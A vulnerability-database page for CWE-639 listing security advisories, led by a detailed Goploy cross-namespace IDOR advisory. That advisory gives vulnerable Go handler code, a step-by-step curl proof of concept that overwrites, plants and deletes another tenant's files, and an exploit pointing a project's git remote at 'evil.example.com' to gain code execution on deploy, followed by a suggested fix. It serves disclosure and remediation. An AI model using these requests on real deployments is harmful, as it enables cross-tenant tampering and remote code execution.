Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3251 vulnerabilities reference this CWE, most recent first.

GHSA-26RH-24RG-J3VV

Vulnerability from github – Published: 2026-07-07 23:42 – Updated: 2026-07-07 23:42
VLAI
Summary
Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers
Details

Summary

Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.

Affected

zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).

The four handlers and the model lookups have been in this shape across the file API and project metadata API.

Vulnerable code

cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):

func (Project) AddFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ProjectID int64  `json:"projectId" validate:"required,gt=0"`
        Content   string `json:"content" validate:"required"`
        Filename  string `json:"filename" validate:"required"`
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }

    filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
    // ... os.Create(filePath); file.WriteString(reqData.Content)
    id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
}

cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):

func (Project) EditFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ID      int64  `json:"id" validate:"required,gt=0"`
        Content string `json:"content" validate:"required"`
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }

    projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
    // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
    file.WriteString(reqData.Content)
}

cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):

func (Project) RemoveFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }
    projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
    if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}

cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):

func (Project) Edit(gp *server.Goploy) server.Response {
    // ... ReqData has ID, Name, URL, Branch, Script, etc.
    projectData, err := model.Project{ID: reqData.ID}.GetData()
    model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
    if reqData.URL != projectData.URL {
        srcPath := config.GetProjectPath(projectData.ID)
        cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
        cmd.Dir = srcPath
    }
}

internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:

func (pf ProjectFile) GetData() (ProjectFile, error) {
    err := sq.
        Select("id, project_id, filename, insert_time, update_time").
        From(projectFileTable).
        Where(sq.Eq{"id": pf.ID}).
        ...
}

internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:

func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
    if len(r.permissionIDs) == 0 { return nil }
    for _, permissionID := range r.permissionIDs {
        if _, ok := permissionIDs[permissionID]; ok { return nil }
    }
    return errors.New("no permission")
}

Reachable

Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.

Proof of concept

Setup against the published Docker image:

docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net \
    -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
    mysql:8.0 --default-authentication-plugin=mysql_native_password

# Wait for MySQL, then load schema
docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'

# Mount goploy.toml pointing DB at goploy-mysql:3306
docker run -d --name goploy-app --network goploy-net -p 18080:80 \
    -v $PWD/repo:/opt/goploy/repository \
    zhenorzz/goploy:1.17.5

Set up two namespaces and two non-super-manager users, each assigned manager (role_id=1) only in their own namespace:

# Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
    -H 'Content-Type: application/json' \
    -d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'

ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'

# Create NS_B
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
# → {"data":{"id":2}}

# Create alice (id=2) and bob (id=3)
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
    -d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
    -d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'

# Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
    -d '{"namespaceId":1,"userIds":[2],"roleId":1}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
    -d '{"namespaceId":2,"userIds":[3],"roleId":1}'

# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
    -d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
         "path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
         "transferOption":"-rtv","deployServerMode":"serial",
         "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
                   "deployFinish":{"mode":"","content":""}}}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
    -d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'

# Bob logs in (first-login change)
curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
    -H 'Content-Type: application/json' \
    -d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'

BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'

Negative control: Bob's own namespace has no projects.

curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"
# → {"code":0,"data":{"list":[]}}

Exploit 1 — Bob overwrites Alice's file content:

curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
    -d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'
# → {"code":0,"message":"","data":null}

docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
# OWNED BY BOB
# attacker_namespace: ns_b

Exploit 2 — Bob plants a new file in Alice's project directory:

curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
    -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
# → {"code":0,"message":"","data":{"id":2}}

docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
# .env.attacker   alice-secrets.yml

Exploit 3 — Bob deletes Alice's file:

curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \
    -d '{"projectFileId":1}'
# → {"code":0,"message":"","data":null}
# alice-secrets.yml is gone from project_1/.

Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:

curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \
    -d '{"id":1,"name":"alice-prod","repoType":"git",
         "url":"git@evil.example.com:attacker/payload.git",
         "path":"/tmp/deploy/alice","environment":1,"branch":"master",
         "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
         "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
                   "deployFinish":{"mode":"","content":""}}}'
# → {"code":0,"message":"","data":null}

docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \
    -e "SELECT name,url FROM project WHERE id=1;"
# alice-prod | git@evil.example.com:attacker/payload.git

Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.

Suggested fix

Add a namespace-scoped variant of GetData so the model layer requires (id, namespace_id) and switch the four handlers over.

internal/model/project_file.go:

func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {
    var projectFile ProjectFile
    err := sq.
        Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time").
        From(projectFileTable + " pf").
        Join("project p ON p.id = pf.project_id").
        Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}).
        RunWith(DB).
        QueryRow().
        Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,
             &projectFile.InsertTime, &projectFile.UpdateTime)
    return projectFile, err
}

internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace_id.

cmd/server/api/project/handler.go:

  • EditFile and RemoveFile switch to model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).
  • AddFile calls a new model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID) precheck before os.Create and AddRow.
  • Edit calls model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID) before EditRow.

sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.

Patch

Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.

Credit

Reported by tonghuaroot.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zhenorzz/goploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.17.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:42:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller\u0027s namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project\u0027s git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project\u0027s working tree.\n\n### Affected\n\n`zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`).\n\nThe four handlers and the model lookups have been in this shape across the file API and project metadata API.\n\n### Vulnerable code\n\n`cmd/server/api/project/handler.go::AddFile` (creates file under any project\u0027s directory; body controls `projectId`):\n\n```go\nfunc (Project) AddFile(gp *server.Goploy) server.Response {\n    type ReqData struct {\n        ProjectID int64  `json:\"projectId\" validate:\"required,gt=0\"`\n        Content   string `json:\"content\" validate:\"required\"`\n        Filename  string `json:\"filename\" validate:\"required\"`\n    }\n    var reqData ReqData\n    if err := gp.Decode(\u0026reqData); err != nil { ... }\n\n    filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)\n    // ... os.Create(filePath); file.WriteString(reqData.Content)\n    id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()\n}\n```\n\n`cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row):\n\n```go\nfunc (Project) EditFile(gp *server.Goploy) server.Response {\n    type ReqData struct {\n        ID      int64  `json:\"id\" validate:\"required,gt=0\"`\n        Content string `json:\"content\" validate:\"required\"`\n    }\n    var reqData ReqData\n    if err := gp.Decode(\u0026reqData); err != nil { ... }\n\n    projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()\n    // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))\n    file.WriteString(reqData.Content)\n}\n```\n\n`cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id):\n\n```go\nfunc (Project) RemoveFile(gp *server.Goploy) server.Response {\n    type ReqData struct {\n        ProjectFileID int64 `json:\"projectFileId\" validate:\"required,gt=0\"`\n    }\n    var reqData ReqData\n    if err := gp.Decode(\u0026reqData); err != nil { ... }\n    projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()\n    if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }\n}\n```\n\n`cmd/server/api/project/handler.go::Edit` (updates any project\u0027s metadata; on URL change runs `git remote set-url` in the project working tree):\n\n```go\nfunc (Project) Edit(gp *server.Goploy) server.Response {\n    // ... ReqData has ID, Name, URL, Branch, Script, etc.\n    projectData, err := model.Project{ID: reqData.ID}.GetData()\n    model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()\n    if reqData.URL != projectData.URL {\n        srcPath := config.GetProjectPath(projectData.ID)\n        cmd := exec.Command(\"git\", \"remote\", \"set-url\", \"origin\", reqData.URL)\n        cmd.Dir = srcPath\n    }\n}\n```\n\n`internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join:\n\n```go\nfunc (pf ProjectFile) GetData() (ProjectFile, error) {\n    err := sq.\n        Select(\"id, project_id, filename, insert_time, update_time\").\n        From(projectFileTable).\n        Where(sq.Eq{\"id\": pf.ID}).\n        ...\n}\n```\n\n`internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`:\n\n```go\nfunc (r Route) hasPermission(permissionIDs map[int64]struct{}) error {\n    if len(r.permissionIDs) == 0 { return nil }\n    for _, permissionID := range r.permissionIDs {\n        if _, ok := permissionIDs[permissionID]; ok { return nil }\n    }\n    return errors.New(\"no permission\")\n}\n```\n\n### Reachable\n\nAny logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`. Multi-tenant deployments typically assign `manager` to each tenant\u0027s project owner; once a tenant\u0027s manager holds these permissions in their own namespace, they hold them globally for these four endpoints.\n\n### Proof of concept\n\nSetup against the published Docker image:\n\n```bash\ndocker network create goploy-net\ndocker run -d --name goploy-mysql --network goploy-net \\\n    -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \\\n    mysql:8.0 --default-authentication-plugin=mysql_native_password\n\n# Wait for MySQL, then load schema\ndocker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql\ndocker exec goploy-mysql sh -c \u0027mysql -uroot -pgoploy123 goploy \u003c /tmp/goploy.sql\u0027\n\n# Mount goploy.toml pointing DB at goploy-mysql:3306\ndocker run -d --name goploy-app --network goploy-net -p 18080:80 \\\n    -v $PWD/repo:/opt/goploy/repository \\\n    zhenorzz/goploy:1.17.5\n```\n\nSet up two namespaces and two non-super-manager users, each assigned `manager` (role_id=1) only in their own namespace:\n\n```bash\n# Admin login (default account admin / admin!@# requires first-login change)\ncurl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"account\":\"admin\",\"password\":\"admin!@#\",\"newPassword\":\"Admin!@#2026\"}\u0027\n\nADMIN_HDR=\u0027-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json\u0027\n\n# Create NS_B\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d \u0027{\"name\":\"ns_b\"}\u0027\n# \u2192 {\"data\":{\"id\":2}}\n\n# Create alice (id=2) and bob (id=3)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n    -d \u0027{\"account\":\"alice\",\"password\":\"Alice!@#2026\",\"name\":\"Alice\",\"contact\":\"\",\"superManager\":0}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n    -d \u0027{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"name\":\"Bob\",\"contact\":\"\",\"superManager\":0}\u0027\n\n# Assign alice \u2192 NS_A (id=1), bob \u2192 NS_B (id=2), both as manager (role_id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n    -d \u0027{\"namespaceId\":1,\"userIds\":[2],\"roleId\":1}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n    -d \u0027{\"namespaceId\":2,\"userIds\":[3],\"roleId\":1}\u0027\n\n# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \\\n    -d \u0027{\"name\":\"alice-prod\",\"repoType\":\"git\",\"url\":\"https://github.com/zhenorzz/goploy.git\",\n         \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\"transferType\":\"rsync\",\n         \"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n         \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n                   \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \\\n    -d \u0027{\"projectId\":1,\"filename\":\"alice-secrets.yml\",\"content\":\"# Alice secret\\napi_key: ALICE_API_KEY_2026\\n\"}\u0027\n\n# Bob logs in (first-login change)\ncurl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"newPassword\":\"BobBob!@#2026\"}\u0027\n\nBOB_HDR=\u0027-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json\u0027\n```\n\nNegative control: Bob\u0027s own namespace has no projects.\n\n```bash\ncurl -s $BOB_HDR \"http://localhost:18080/project/getList?page=1\u0026rows=100\"\n# \u2192 {\"code\":0,\"data\":{\"list\":[]}}\n```\n\nExploit 1 \u2014 Bob overwrites Alice\u0027s file content:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \\\n    -d \u0027{\"id\":1,\"content\":\"OWNED BY BOB\\nattacker_namespace: ns_b\\n\"}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml\n# OWNED BY BOB\n# attacker_namespace: ns_b\n```\n\nExploit 2 \u2014 Bob plants a new file in Alice\u0027s project directory:\n\n```bash\ncurl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \\\n    -d \u0027{\"projectId\":1,\"filename\":\".env.attacker\",\"content\":\"PWN=bob_from_ns_b\"}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":{\"id\":2}}\n\ndocker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/\n# .env.attacker   alice-secrets.yml\n```\n\nExploit 3 \u2014 Bob deletes Alice\u0027s file:\n\n```bash\ncurl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \\\n    -d \u0027{\"projectFileId\":1}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n# alice-secrets.yml is gone from project_1/.\n```\n\nExploit 4 \u2014 Bob rewrites Alice\u0027s project git remote URL. On the next deploy, goploy runs `git -C \u003calice-prod-tree\u003e remote set-url origin \u003cattacker-url\u003e` and clones / pulls attacker code, leading to RCE under goploy\u0027s user:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \\\n    -d \u0027{\"id\":1,\"name\":\"alice-prod\",\"repoType\":\"git\",\n         \"url\":\"git@evil.example.com:attacker/payload.git\",\n         \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\n         \"transferType\":\"rsync\",\"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n         \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n                   \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-mysql mysql -uroot -pgoploy123 goploy \\\n    -e \"SELECT name,url FROM project WHERE id=1;\"\n# alice-prod | git@evil.example.com:attacker/payload.git\n```\n\nPositive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally \u2014 the patch must keep that working.\n\n### Suggested fix\n\nAdd a namespace-scoped variant of `GetData` so the model layer requires `(id, namespace_id)` and switch the four handlers over.\n\n`internal/model/project_file.go`:\n\n```go\nfunc (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {\n    var projectFile ProjectFile\n    err := sq.\n        Select(\"pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time\").\n        From(projectFileTable + \" pf\").\n        Join(\"project p ON p.id = pf.project_id\").\n        Where(sq.Eq{\"pf.id\": pf.ID, \"p.namespace_id\": namespaceID}).\n        RunWith(DB).\n        QueryRow().\n        Scan(\u0026projectFile.ID, \u0026projectFile.ProjectID, \u0026projectFile.Filename,\n             \u0026projectFile.InsertTime, \u0026projectFile.UpdateTime)\n    return projectFile, err\n}\n```\n\n`internal/model/project.go`: add a parallel `Project.GetDataInNamespace` that joins on `namespace_id`.\n\n`cmd/server/api/project/handler.go`:\n\n- `EditFile` and `RemoveFile` switch to `model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID)`.\n- `AddFile` calls a new `model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)` precheck before `os.Create` and `AddRow`.\n- `Edit` calls `model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)` before `EditRow`.\n\n`sql.ErrNoRows` from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (`Remove`, `SetAutoDeploy`, `UploadFile`, `AddTask`, `EditProcess`, etc.) but the four endpoints above are the immediately exploitable ones.\n\n### Patch\n\nFix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-26rh-24rg-j3vv",
  "modified": "2026-07-07T23:42:12Z",
  "published": "2026-07-07T23:42:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zhenorzz/goploy/security/advisories/GHSA-26rh-24rg-j3vv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zhenorzz/goploy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers"
}

GHSA-26WV-WM3R-6RVC

Vulnerability from github – Published: 2026-02-25 15:31 – Updated: 2026-02-25 15:31
VLAI
Details

A vulnerability was found in feiyuchuixue sz-boot-parent up to 1.3.2-beta. Affected is an unknown function of the file /api/admin/sys-message/ of the component API Endpoint. The manipulation of the argument messageId results in authorization bypass. The attack can be launched remotely. The exploit has been made public and could be used. Upgrading to version 1.3.3-beta is able to address this issue. The patch is identified as aefaabfd7527188bfba3c8c9eee17c316d094802. The affected component should be upgraded. The project was informed beforehand and acted very professional: "We have implemented message ownership verification, so that users can only query messages related to themselves."

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-25T14:16:21Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in feiyuchuixue sz-boot-parent up to 1.3.2-beta. Affected is an unknown function of the file /api/admin/sys-message/ of the component API Endpoint. The manipulation of the argument messageId results in authorization bypass. The attack can be launched remotely. The exploit has been made public and could be used. Upgrading to version 1.3.3-beta is able to address this issue. The patch is identified as aefaabfd7527188bfba3c8c9eee17c316d094802. The affected component should be upgraded. The project was informed beforehand and acted very professional: \"We have implemented message ownership verification, so that users can only query messages related to themselves.\"",
  "id": "GHSA-26wv-wm3r-6rvc",
  "modified": "2026-02-25T15:31:40Z",
  "published": "2026-02-25T15:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent/commit/aefaabfd7527188bfba3c8c9eee17c316d094802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent/releases/tag/v1.3.3-beta"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yuccun/CVE/blob/main/sz-boot-parent-IDOR_Message_ID_Enumeration.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.347743"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.347743"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.754036"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-272R-9R62-XGWC

Vulnerability from github – Published: 2024-09-17 00:31 – Updated: 2024-09-17 00:31
VLAI
Details

An issue was discovered in GitLab CE/EE affecting all versions starting from 16.7 prior to 17.1.7, 17.2 prior to 17.2.5, and 17.3 prior to 17.3.2, where group runners information was disclosed to unauthorised group members.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-6685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-16T22:15:20Z",
    "severity": "LOW"
  },
  "details": "An issue was discovered in GitLab CE/EE affecting all versions starting from 16.7 prior to 17.1.7, 17.2 prior to 17.2.5, and 17.3 prior to 17.3.2,  where group runners information was disclosed to unauthorised group members.",
  "id": "GHSA-272r-9r62-xgwc",
  "modified": "2024-09-17T00:31:03Z",
  "published": "2024-09-17T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6685"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2584372"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/472012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27HF-5X7W-H2G3

Vulnerability from github – Published: 2026-05-27 18:31 – Updated: 2026-05-28 18:30
VLAI
Details

